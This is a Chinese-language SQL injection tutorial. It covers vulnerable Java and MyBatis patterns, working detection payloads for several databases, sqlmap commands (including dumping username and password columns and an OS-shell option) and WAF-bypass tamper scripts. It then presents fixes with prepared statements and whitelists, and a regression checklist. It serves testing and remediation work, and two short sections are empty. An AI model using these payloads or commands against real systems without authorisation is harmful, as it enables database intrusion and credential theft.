SQL 注入测试与防御:payload、工具与代码级修复¶
SQL 注入的本质只有一个:用户输入被当成 SQL 语法的一部分拼接。下面按“哪里会注入 → 怎么验证 → 怎么修 → 怎么回归”展开。
1. 先找会拼接的位置¶
Java 项目里高风险的写法:
// 1. MyBatis:${} 是字符串替换,#{} 才是预编译
@Select("SELECT * FROM orders WHERE user_id = ${userId}")
List<Order> byUser(@Param("userId") Long userId);
// 2. ORDER BY / 表名 / 列名无法用占位符
String sql = "SELECT * FROM orders ORDER BY " + sortField;
// 3. LIKE 拼接
String sql = "SELECT * FROM users WHERE name LIKE '%" + keyword + "%'";
// 4. IN 拼接
String sql = "SELECT * FROM orders WHERE id IN (" + ids + ")";
// 5. JdbcTemplate 字符串拼接
jdbcTemplate.query("SELECT * FROM t WHERE a='" + a + "'", mapper);
按出现频率排:ORDER BY、LIKE、IN、动态表名(分表)、报表导出、后台管理搜索。
2. 判断注入类型¶
以 https://target/item?id=1 为例。
1' → 报错或页面异常
1 AND 1=1 → 正常
1 AND 1=2 → 内容变化/为空
1' ORDER BY 1-- - → 正常
1' ORDER BY 10-- - → 报错(列数 < 10)
1' UNION SELECT 1,2,3-- - → 找回显位
各数据库的延时 payload(用于盲注确认):
| 数据库 | payload |
|---|---|
| MySQL | 1' AND SLEEP(5)-- - |
| PostgreSQL | 1'; SELECT pg_sleep(5)-- - |
| SQL Server | 1'; WAITFOR DELAY '0:0:5'-- - |
| Oracle | 1' AND 1=dbms_pipe.receive_message('a',5)-- - |
MySQL 报错注入:
1' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
1' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
MySQL 8.0.33 起
extractvalue仍可用;若被禁用,改用布尔或时间盲注。
3. sqlmap:用对参数比跑得久更重要¶
# 基础探测(默认 BEUST 全试)
sqlmap -u "https://target/item?id=1" --batch --dbs
# 带登录态:直接读 Burp 保存的请求,避免手抄 Cookie
sqlmap -r request.txt -p id --level=3 --risk=2 --batch
# 指定技术:B 布尔、E 报错、U 联合、S 堆叠、T 时间
sqlmap -u "https://target/item?id=1" --technique=BEU --batch
# 定位到库表后只 dump 需要的列,避免拖库
sqlmap -u "..." -D shop -T users -C username,password --dump
# 判断是否有 WAF
sqlmap -u "..." --identify-waf --batch
常见参数含义:
| 参数 | 作用 | 建议 |
|---|---|---|
--level |
测试的注入点范围(1-5) | 3 足够覆盖 Header |
--risk |
风险等级(1-3) | 3 会尝试 UPDATE,慎用 |
--threads |
并发 | 盲注可 5-10,避免打挂 |
--delay |
请求间隔 | 有 WAF 时 0.5-1s |
--tamper |
变形脚本 | 见下 |
--os-shell |
尝试命令执行 | 授权测试且明确允许才用 |
4. WAF 绕过:tamper 的真实效果¶
| tamper | 作用 | 示例 |
|---|---|---|
space2comment |
空格换 /**/ |
SELECT id → SELECT/**/id |
space2plus |
空格换 + |
SELECT+id |
space2randomblank |
空格换随机空白符 | %09、%0a |
randomcase |
关键字随机大小写 | SeLeCt |
between |
> 换 NOT BETWEEN 0 AND |
绕过比较符过滤 |
charencode |
URL 编码 | %53%45%4C%45%43%54 |
base64encode |
Base64 编码(需服务端解码) | 少见 |
手工验证常用变体:
绕过只在授权范围内做,且要控制请求频率。
5. 修复:三种正确姿势¶
5.1 预编译(首选)¶
String sql = "SELECT id, amount FROM orders WHERE user_id = ? AND status = ?";
try (PreparedStatement ps = conn.prepareStatement(sql)) {
ps.setLong(1, userId);
ps.setString(2, status);
try (ResultSet rs = ps.executeQuery()) {
// ...
}
}
5.2 MyBatis:#{} + 白名单¶
<!-- 错误 -->
<select id="list" resultType="Order">
SELECT * FROM orders ORDER BY ${sort}
</select>
<!-- 正确:排序字段走白名单 -->
<select id="list" resultType="Order">
SELECT * FROM orders
ORDER BY
<choose>
<when test="sort == 'amount'">amount</when>
<when test="sort == 'created_at'">created_at</when>
<otherwise>id</otherwise>
</choose>
${order == 'asc' ? 'ASC' : 'DESC'}
</select>
${} 不是绝对不能用,但只能接已经过白名单校验的值(排序字段、表名、方向)。
5.3 LIKE 与 IN¶
// LIKE:把 % 放进参数值,而不是 SQL 里
String sql = "SELECT * FROM users WHERE name LIKE ?";
ps.setString(1, "%" + keyword + "%");
// IN:按数量动态生成占位符
String placeholders = String.join(",", Collections.nCopies(ids.size(), "?"));
String sql = "SELECT * FROM orders WHERE id IN (" + placeholders + ")";
// 再逐个 setLong
6. 二次注入:扫描器发现不了的那种¶
1. 用户在昵称里存 `admin'-- -`(存库时转义,看起来安全)
2. 后台导出功能把这个昵称拼进 SQL:
"SELECT * FROM logs WHERE nick = '" + nick + "'"
3. 注入在导出时触发
测试方法:先写入带 ' 的脏数据,再触发所有“读取并拼接”的功能(导出、报表、同步、消息模板)。
7. 验证修复¶
不要只重放原始 payload:
□ 数字型参数:1 AND 1=2
□ 字符型参数:' OR '1'='1
□ ORDER BY:sort=id,(select 1)
□ LIKE:keyword=%' AND 1=1-- -
□ IN:ids=1) OR 1=1-- -
□ Header:X-Forwarded-For、User-Agent
□ 二次注入:写入脏数据后走导出
□ 报错页面:是否返回 SQL 片段/堆栈
□ 数据库账号:是否为只读最小权限
同时检查:错误页是否还包含 SQLSyntaxErrorException、表名、字段名;日志里是否打印了完整 SQL。
8. 一个真实的排查记录¶
现象:后台“订单导出”在 sort=amount 时返回全量数据。
定位:
修复:白名单映射 amount → o.amount,非白名单回落到 o.id;上线后回归 9 组 payload 全部被拒。